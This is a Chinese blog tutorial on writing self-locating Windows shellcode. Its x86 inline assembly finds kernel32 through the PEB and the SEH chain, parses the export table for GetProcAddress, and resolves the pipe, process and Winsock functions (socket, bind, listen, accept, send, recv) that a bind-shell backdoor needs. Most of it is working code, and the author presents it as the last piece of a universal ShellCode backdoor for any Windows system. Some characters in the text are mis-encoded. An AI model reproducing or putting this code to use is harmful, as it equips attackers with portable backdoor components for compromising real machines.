1.7 完善自定位ShellCode
在之前的文章中,我們實(shí)現(xiàn)了一個(gè)正向的匿名管道ShellCode
后門(mén),為了保證文章的簡(jiǎn)潔易懂并沒(méi)有增加針對(duì)調(diào)用函數(shù)的動(dòng)態(tài)定位功能,此類(lèi)方法在更換系統(tǒng)后則由于地址變化導(dǎo)致我們的后門(mén)無(wú)法正常使用,接下來(lái)將實(shí)現(xiàn)通過(guò)PEB獲取GetProcAddrees
函數(shù)地址,并根據(jù)該函數(shù)實(shí)現(xiàn)所需其他函數(shù)的地址自定位功能,通過(guò)枚舉內(nèi)存導(dǎo)出表的方式自動(dòng)實(shí)現(xiàn)定位所需函數(shù)的動(dòng)態(tài)地址,從而實(shí)現(xiàn)后門(mén)的通用性。
1.7.1 通過(guò)PEB定位GetProcAddress
通過(guò)在第4.5章中筆者已經(jīng)完整的分析并實(shí)現(xiàn)了定位kernel32.dll
模塊基地址的詳細(xì)分析流程,以下將直接利用PEB
查找kernerl32
地址,讀者可根據(jù)自身需求跳轉(zhuǎn)到相應(yīng)文章中學(xué)習(xí)理解,本章只給出實(shí)現(xiàn)流程;
??1.定位FS寄存器,F(xiàn)S寄存器指向TEB結(jié)構(gòu)
??2.在結(jié)構(gòu)
TEB+0x30
的地方指向的是PEB結(jié)構(gòu)??3.在
PEB+0x0C
的地方指向PEB_LDR_DATA
結(jié)構(gòu)??4.在
PEB_LDR_DATA+0x1C
地方的第二個(gè)數(shù)組內(nèi)存出的就是kernel32.dll地址
int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????__asm
????{
????????mov?eax,?fs:0x30????????;?PEB的地址
????????mov?eax,?[eax?+?0x0c]???;?Ldr的地址
????????mov?esi,?[eax?+?0x1c]???;?Flink地址
????????lodsd
????????mov?eax,?[eax?+?0x08]???;?eax就是kernel32.dll的地址
????????mov?Kernel32,eax
????}
????system("pause");
????return?0;
}
運(yùn)行上述程序則讀者可獲取到kernel32.dll
模塊的內(nèi)存地址0x75B20000
,輸出效果圖如下所示;

既然拿到了當(dāng)前模塊的基地址,下一步則是通過(guò)該地址尋找到GetProcAddress
的內(nèi)存地址,而GetProcAddress
是在kernel32.dll
模塊中的導(dǎo)出函數(shù),所以我們可通過(guò)查找kernel32.dll
的導(dǎo)出表來(lái)找到GetProcAddress
函數(shù)的內(nèi)存地址。
首先導(dǎo)出表的結(jié)構(gòu)定義如下所示;
Typedef?struct?_IMAGE_EXPORT_DIRECTORY
{
?Characteristics;?4
?TimeDateStamp?4?????????#?時(shí)間戳
?MajorVersion?2??????????#?主版本號(hào)
?MinorVersion?2??????????#?子版本號(hào)
?Name?4??????????????????#?模塊名
?Base?4??????????????????#?基地址,加上序數(shù)就是函數(shù)地址數(shù)組的索引值
?NumberOfFunctions?4?????#?EAT導(dǎo)出表?xiàng)l目數(shù)
?NumberOfNames?4?????????#?ENT導(dǎo)出函數(shù)名稱(chēng)表
?AddressOfFunctions?4????#?指向函數(shù)地址數(shù)組
?AddressOfNames?4????????#?函數(shù)名字的指針地址
?AddressOfNameOrdinal?4??#?指向輸出序列號(hào)數(shù)組
}
其中的字段含義:
NumberOfFunctions字段:為AddressOfFunctions
指向的函數(shù)地址數(shù)組的個(gè)數(shù); NumberOfName字段:為AddressOfNames
指向的函數(shù)名稱(chēng)數(shù)組的個(gè)數(shù); AddressOfFunctions字段:指向模塊中所有函數(shù)地址的數(shù)組; AddressOfNames字段:指向模塊中所有函數(shù)名稱(chēng)的數(shù)組; AddressOfNameOrdinals字段:指向AddressOfNames
數(shù)組中函數(shù)對(duì)應(yīng)序數(shù)的數(shù)組;
當(dāng)讀者需要在Kernel32.dll
模塊內(nèi)查詢(xún)GetProcAddress
的地址時(shí),可以采用如下所示的實(shí)現(xiàn)流程;
??1.通過(guò)尋找
TEB/PEB
并在其中獲取kernel32.dll
模塊基址??2.在
(基址+0x3c)
處獲取e_lfanewc
此處代表的是PE模塊的標(biāo)志??3.在
(基址+e_lfanew+0x78)
處獲取導(dǎo)出表地址??4.在
(基址+export+0x1c)
處獲取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
??5.搜索
AddressOfNames
來(lái)確定GetProcAddress
所對(duì)應(yīng)的index
??6.下標(biāo)
index = AddressOfNameOrdinalse [ index ]
提取到,此時(shí)函數(shù)地址就存儲(chǔ)在AddressOfFunctions [ index ]
內(nèi)
如上流程所示,我們查找GetProcAddress
的地址,就在函數(shù)名稱(chēng)數(shù)組中,搜索GetProcAddress
的名稱(chēng);找到后根據(jù)編號(hào),在序號(hào)數(shù)組中,得到它對(duì)應(yīng)的序號(hào)值;最后根據(jù)序號(hào)值,在地址數(shù)組中,提取出它的地址。其匯編代碼如下,并給出了詳細(xì)的解釋。
int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????__asm
????{
????????????//?得到Kernel32基址
????????????mov?eax,?fs:0x30????????;?PEB的地址
????????????mov?eax,?[eax?+?0x0c]???;?Ldr的地址
????????????mov?esi,?[eax?+?0x1c]???;?Flink地址
????????????lodsd???????????????????;加載字符串
????????????mov?eax,?[eax?+?0x08]??;?kernel32.dll基址
????????????//?定位到導(dǎo)出表
????????????mov?ebp,?eax????????????????;?將基址存入ebp
????????????mov?eax,?[ebp?+?3Ch]????????;?eax?=?PE首部
????????????mov?edx,?[ebp?+?eax?+?78h]??;?導(dǎo)出表地址
????????????add?edx,?ebp????????????????;?edx?=?導(dǎo)出表地址
????????????mov?ecx,?[edx?+?18h]????????;?ecx?=?輸出函數(shù)的個(gè)數(shù)
????????????mov?ebx,?[edx?+?20h]
????????????add?ebx,?ebp????????????????;?ebx?=函數(shù)名地址,AddressOfName
????????search?:
????????????dec?ecx
????????????mov?esi,?[ebx?+?ecx?*?4]
????????????add?esi,?ebp????????????????;?依次找每個(gè)函數(shù)名稱(chēng)
????????????//?枚舉尋找GetProcAddress
????????????mov?eax,?0x50746547
????????????cmp[esi],?eax;?'PteG'
????????????jne?search
????????????mov?eax,?0x41636f72
????????????cmp[esi?+?4],?eax;?'Acor'
????????????jne?search
????????????//?如果是GetProcAddr則計(jì)算導(dǎo)出地址
????????????mov?ebx,?[edx?+?24h]
????????????add?ebx,?ebp??????????????;?ebx?=?序號(hào)數(shù)組地址,?AddressOf
????????????mov?cx,?[ebx?+?ecx?*?2]???;?ecx?=?計(jì)算出的序號(hào)值
????????????mov?ebx,?[edx?+?1Ch]
????????????add?ebx,?ebp??????????????;?ebx=函數(shù)地址的起始位置,AddressOfFunction
????????????mov?eax,?[ebx?+?ecx?*?4]
????????????add?eax,?ebp??????????????;?利用序號(hào)值,得到出GetProcAddress的地址
????}
????system("pause");
????return?0;
}
讀者需要自行在反匯編末尾add eax,ebp
設(shè)置一個(gè)斷點(diǎn),然后運(yùn)行程序,觀察eax
中的數(shù)據(jù)可知,當(dāng)前GetProcAddress
的地址為0x75c39570
,輸出效果圖如下所示;

1.7.2 匯編實(shí)現(xiàn)動(dòng)態(tài)定位功能
有了上述功能的支持,動(dòng)態(tài)定位的實(shí)現(xiàn)將變得格外容易,首先我們通過(guò)動(dòng)態(tài)定位的方式確定GetProcAddress
的內(nèi)存地址,該函數(shù)接收一個(gè)字符串參數(shù),則我們通過(guò)push
的方式將字符串的十六進(jìn)制依次壓棧保存,然后通過(guò)call [ebp+76]
調(diào)用也就是調(diào)用GetProcAddress
函數(shù)來(lái)動(dòng)態(tài)得到內(nèi)存地址,當(dāng)?shù)玫降刂泛竽J(rèn)存儲(chǔ)在EAX寄存器內(nèi),此時(shí)則通過(guò)mov [ebx+]
的方式依次填充至通過(guò)sub esp,80
分配的局部空間內(nèi)等待被調(diào)用。
首先實(shí)現(xiàn)該功能的前提是我們需要得到特定字符串所對(duì)應(yīng)的十六進(jìn)制值,并將該值以32位模式切割,這段代碼可以使用Python語(yǔ)言非??旖莸膶?shí)現(xiàn)轉(zhuǎn)換,如下所示,當(dāng)讀者運(yùn)行后則會(huì)輸出我們所需函數(shù)字符串的十六進(jìn)制形式;
import?os,sys
#?傳入字符串轉(zhuǎn)為機(jī)器碼
def?StringToHex(String):
????#?將字符串轉(zhuǎn)換成字節(jié)串
????byte_str?=?String.encode()
????#?將字節(jié)串轉(zhuǎn)換成16進(jìn)制字符串
????hex_str?=?byte_str.hex()
????#?將16進(jìn)制字符串分割成32位一組,并用0填充不足32位的部分
????hex_list?=?[hex_str[i:i+8].ljust(8,?'0')?for?i?in?range(0,?len(hex_str),?8)]
????#?用空格連接每組32位的16進(jìn)制字符串
????result?=?'?'.join(hex_list)
????return?result
if?__name__?==?"__main__":
????MyList?=?[
????????"LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
????????"ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
????????"send","recv","Ws2_32"
????]
????for?index?in?range(0,len(MyList)):
????????print("[*]?函數(shù)?=?{:18s}?|?壓縮數(shù)據(jù):?{}".format(MyList[index],StringToHex(MyList[index])))
運(yùn)行上述代碼片段,讀者可得到函數(shù)的十六進(jìn)制形式,并以32位作為切割,不足32位的則使用0補(bǔ)齊,如下圖所示;

首先我們以CreatePipe
函數(shù)為例,該函數(shù)字符串壓縮數(shù)據(jù)為43726561,74655069,70650000
,而由于堆棧的后進(jìn)先出特性,我們需要將其翻轉(zhuǎn)過(guò)來(lái)存儲(chǔ),翻轉(zhuǎn)過(guò)來(lái)則是00006570,69506574,61657243
,又因?yàn)楫?dāng)前GetProcAddress
函數(shù)的內(nèi)存地址被存儲(chǔ)在了ebp+76
的位置,則通過(guò)CALL
該地址則可實(shí)現(xiàn)調(diào)用函數(shù)的目的,當(dāng)執(zhí)行結(jié)束后則將返回值放入到EAX寄存器內(nèi),此時(shí)只需要根據(jù)不同的變量空間mov [ebp+]
來(lái)賦值到不同變量?jī)?nèi)即可;
push?dword?ptr?0x00006570
push?dword?ptr?0x69506574
push?dword?ptr?0x61657243
push?esp
push?edi?
call?[ebp+76]
mov?[ebp+4],?eax;?CreatePipe?
接著我們?cè)賮?lái)說(shuō)一下WSAStartup
函數(shù),該函數(shù)顯然不在kernel32.dll
模塊內(nèi),它在Ws2_32.dll
模塊內(nèi),我們需要先調(diào)用call [ebp+80]
也就是調(diào)用LoadLibrary
加載ws2_32.dll
模塊獲取該模塊的基地址,接著在通過(guò)call [ebp+76]
調(diào)用獲取該模塊中WSAStartup
函數(shù)的基址,但讀者需要注意的是,call [ebp+76]
時(shí)需要壓入兩個(gè)參數(shù),其中push edi
帶指的是ws2_32.dll
的字符串,而push esp
才是我們的WSAStartup
字符串,其描述為高級(jí)語(yǔ)言則是GetProcAddress("Ws2_32.dll","WSAStartup")
形式;
push?dword?ptr?0x00003233
push?dword?ptr?0x5f327357
push?esp
call?[ebp+80]?;LoadLibrary(Ws2_32)?0x00003233?5f327357
mov?edi,?eax?
push?dword?ptr?0x00007075
push?dword?ptr?0x74726174
push?dword?ptr?0x53415357
push?esp
push?edi
call?[ebp+76]
mov?[ebp+28],?eax;?WSAStartup?0x00007075?0x74726174?0x53415357
根據(jù)上述提取原則,讀者可以自行提取代碼片段并替換特定位置的字符串,最終可得到如下所示的一段自定位ShellCode代碼片段,該片段運(yùn)行后則可將我們所需要的函數(shù)內(nèi)存地址枚舉出來(lái)并放到臨時(shí)變量中,等待我們使用;
int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????LoadLibrary("ws2_32.dll");
????__asm
????{
????????push?ebp;
????????sub?esp,?100;
????????mov?ebp,?esp;
????????mov?eax,?fs:0x30
????????mov?eax,?[eax?+?0x0c]
????????mov?esi,?[eax?+?0x1c]
????????lodsd
????????mov?edi,?[eax?+?0x08]
????????mov?eax,?[edi?+?3Ch]
????????mov?edx,?[edi?+?eax?+?78h]
????????add?edx,?edi
????????mov?ecx,?[edx?+?18h]
????????mov?ebx,?[edx?+?20h]
????????add?ebx,?edi
????search?:
????????dec?ecx
????????mov?esi,?[ebx?+?ecx?*?4]
????????add?esi,?edi
????;?GetProcAddress
????????mov?eax,?0x50746547
????????cmp[esi],?eax;?'PteG'
????????jne?search
????????mov?eax,?0x41636f72
????????cmp[esi?+?4],?eax;?'Acor'
????????jne?search
????;?如果是GetProcA表示找到
????????mov?ebx,?[edx?+?24h]
????????add?ebx,?edi
????????mov?cx,?[ebx?+?ecx?*?2]
????????mov?ebx,?[edx?+?1Ch]
????????add?ebx,?edi
????????mov?eax,?[ebx?+?ecx?*?4]
????????add?eax,?edi
????;?把GetProcAddress的地址存在ebp?+?76中
????????mov[ebp?+?76],?eax
????????push?0x0
????????push?dword?ptr?0x41797261
????????push?dword?ptr?0x7262694c
????????push?dword?ptr?0x64616f4c
????????push?esp
????????push?edi
????????call[ebp?+?76]
????;?把LoadLibraryA的地址存在ebp+80中
????????mov[ebp?+?80],?eax;?LoadLibraryA?0x41797261?0x7262694c?0x64616f4c
????????push?dword?ptr?0x00006570
????????push?dword?ptr?0x69506574
????????push?dword?ptr?0x61657243
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?4],?eax;?CreatePipe?0x00006570?69506574?61657243
????????push?dword?ptr?0x00004173
????????push?dword?ptr?0x7365636f
????????push?dword?ptr?0x72506574
????????push?dword?ptr?0x61657243
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?8],?eax;?CreateProcessA?0x4173?7365636f?72506574?61657243
????????push?dword?ptr?0x00000065
????????push?dword?ptr?0x70695064
????????push?dword?ptr?0x656d614e
????????push?dword?ptr?0x6b656550
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?12],?eax;?PeekNamedPipe?0x00000065?70695064?656d614e?6b656550
????????push?dword?ptr?0x00000065
????????push?dword?ptr?0x6c694665
????????push?dword?ptr?0x74697257
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?16],?eax;?WriteFile?0x00000065?0x6c694665?0x74697257
????????push?dword?ptr?0
????????push?dword?ptr?0x656c6946
????????push?dword?ptr?0x64616552
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?20],?eax;?ReadFile
????????push?dword?ptr?0x00737365
????????push?dword?ptr?0x636f7250
????????push?dword?ptr?0x74697845
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?24],?eax;?ExitProcess?0x00737365?0x636f7250?0x74697845
????????push?dword?ptr?0x00003233
????????push?dword?ptr?0x5f327357
????????push?esp
????????call[ebp?+?80];?LoadLibrary(Ws2_32)?0x00003233?5f327357
????????mov?edi,?eax
????????push?dword?ptr?0x00007075
????????push?dword?ptr?0x74726174
????????push?dword?ptr?0x53415357
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?28],?eax;?WSAStartup?0x00007075?0x74726174?0x53415357
????????push?dword?ptr?0x00007465
????????push?dword?ptr?0x6b636f73
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?32],?eax;?socket?0x00007465?0x6b636f73
????????push?dword?ptr?0
????????push?dword?ptr?0x646e6962
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?36],?eax;?bind?0x646e6962
????????push?dword?ptr?0x00006e65
????????push?dword?ptr?0x7473696c
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?40],?eax;?listen?0x00006e65?0x7473696c
????????push?dword?ptr?0x00007470
????????push?dword?ptr?0x65636361
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?44],?eax;?accept?0x00007470?0x65636361
????????push?0
????????push?dword?ptr?0x646e6573
????????push?esp
????????push?edi
????????call[ebp?+?76]
????????mov[ebp?+?48],?eax;?send?0x646e6573
????????push?0
????????push?dword?ptr?0x76636572
????????push?esp
????????push?edi
????????call?[ebp?+?76]
????????mov?[ebp?+?52],?eax;?recv?0x76636572
????}
????system("pause");
????return?0;
}
讀者可在特定位置下斷定,并切換到匯編模式,例如讀者可在system("pause")
上面下斷點(diǎn),當(dāng)運(yùn)行后切換到自動(dòng)窗口,則可看到EAX=0x76c323a0
的內(nèi)存地址,此地址正是recv
函數(shù)的內(nèi)存地址,如下圖所示;

至此我們通過(guò)自定位的方式實(shí)現(xiàn)了對(duì)函數(shù)內(nèi)存的枚舉,讀者可通過(guò)將本案例中的定位代碼自行拷貝并替換到上一篇文章中,此時(shí)我們就實(shí)現(xiàn)了一個(gè)完整的ShellCode
通用后門(mén)程序,該程序可在任意Windows
系統(tǒng)下被正確執(zhí)行;
1.7.3 運(yùn)用SEH鏈獲得Kernel32基址
SEH (Structured Exception Handling) 異常處理鏈?zhǔn)且环N數(shù)據(jù)結(jié)構(gòu),用于維護(hù)和跟蹤在程序運(yùn)行時(shí)發(fā)生的異常的處理程序的調(diào)用關(guān)系。當(dāng)程序在執(zhí)行期間發(fā)生異常時(shí),SEH 異常處理鏈會(huì)按照一定的順序遍歷鏈表中的異常處理程序,直到找到一個(gè)能夠處理該異常的程序?yàn)橹埂?/p>
在SEH鏈表中存在一個(gè)默認(rèn)異常處理函數(shù)UnhandledExceptionFilter
當(dāng)程序在執(zhí)行期間遇到未處理的異常時(shí),操作系統(tǒng)會(huì)調(diào)用UnhandledExceptionFilter
函數(shù)來(lái)捕獲該異常,并且該函數(shù)會(huì)返回一個(gè)特定的值,告訴操作系統(tǒng)如何處理該異常。
UnhandledExceptionFilter 指針是在異常鏈的最后,它的上一個(gè)值是指向下一個(gè)處理點(diǎn)的地址。因?yàn)楹竺鏇](méi)有異常處理點(diǎn)了,所以會(huì)被表示為0xFFFFFFFF

有了這個(gè)原理那么我們就可以搜索異常處理鏈表,得到UnhandledExceptionFilter
的內(nèi)存地址,首先我們通過(guò)mov esi,fs:0
得到線(xiàn)程的TLS
也就是線(xiàn)程本地存儲(chǔ)的指針,然后通過(guò)循環(huán)的方式向下遍歷,直到遍歷到指針的最后,此時(shí)也就得到了UnhandledExceptionFilter
的地址,如下代碼片段則可輸出該地址;
int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????DWORD?address?=?0;
????__asm
????{
????????mov?esi,?fs:0;
????????lodsd;
????GetExeceptionFilter:
????????cmp[eax],0xffffffff
????????je?GetedExeceptionFilter?????;?到最后
????????mov?eax,?[eax]???????????????;?否則繼續(xù)遍歷
????????jmp?GetExeceptionFilter
????GetedExeceptionFilter:
????????mov?eax,?[eax?+?4]
????????mov?address,eax
????}
????printf("UnhandledExceptionFilter?=?%x?\n",?address);
????system("pause");
????return?0;
}
執(zhí)行如上匯編指令,則可獲取到UnhandledExceptionFilter
的內(nèi)存地址,此處輸出結(jié)果如下圖所示;

此時(shí)我們已經(jīng)得到了UnhandledExceptionFilter
函數(shù)的內(nèi)存地址,由于該函數(shù)是Kernel32.dll
里面的導(dǎo)出函數(shù),所以我們就從UnhandledExceptionFilter
函數(shù)的地址往上找,找到開(kāi)頭的地方,自然就是Kerner32
的基地址了。
此外由于Kerner32
模塊也是可執(zhí)行文件,其開(kāi)始標(biāo)志同樣是MZ
和PE
,而且因?yàn)橄到y(tǒng)分配某個(gè)空間時(shí),總要從一個(gè)分配粒度的邊界開(kāi)始,在32位下,這個(gè)粒度是64KB。所以我們搜索時(shí),可以按照64kb
遞減往低地址搜索,當(dāng)?shù)搅?code>MZ和PE
標(biāo)志時(shí),也就找到了Kernel32
的基地址。實(shí)現(xiàn)代碼如下:
int?main(int?argc,?char?*argv[])
{
????LoadLibrary("kernel32.dll");
????DWORD?address?=?0;
????__asm
????{
????????mov?esi,?fs:0;
????????lodsd;
????GetExeceptionFilter:
????????cmp[eax],0xffffffff
????????je?GetedExeceptionFilter?????;?到最后
????????mov?eax,?[eax]???????????????;?否則繼續(xù)遍歷
????????jmp?GetExeceptionFilter
????GetedExeceptionFilter:
????????mov?eax,?[eax?+?4]
????FindMZ?:
???????????and?eax,?0xffff0000????????;?64k對(duì)齊特征
???????????cmp?word?ptr[eax],?'ZM'????;?判斷是不是MZ格式
???????????jne?MoveUp
???????????mov?ecx,?[eax?+?0x3c]
???????????add?ecx,?eax
???????????cmp?word?ptr[ecx],?'EP'?????;?判斷是不是PE
???????????je?Found????????????????????;?找到了
????MoveUp?:
????????????dec?eax????????????????????;?指向下一個(gè)界起始地址
????????????jmp?FindMZ
????Found?:
????????????mov?address,?eax
????????nop
????}
????printf("Kernel32?=?%x?\n",?address);
????system("pause");
????return?0;
}
編譯并運(yùn)行上述匯編代碼,則可以輸出kernel32.dll
模塊的基地址,輸出效果如下所示;

本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/a6bb88a7.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請(qǐng)注明出處!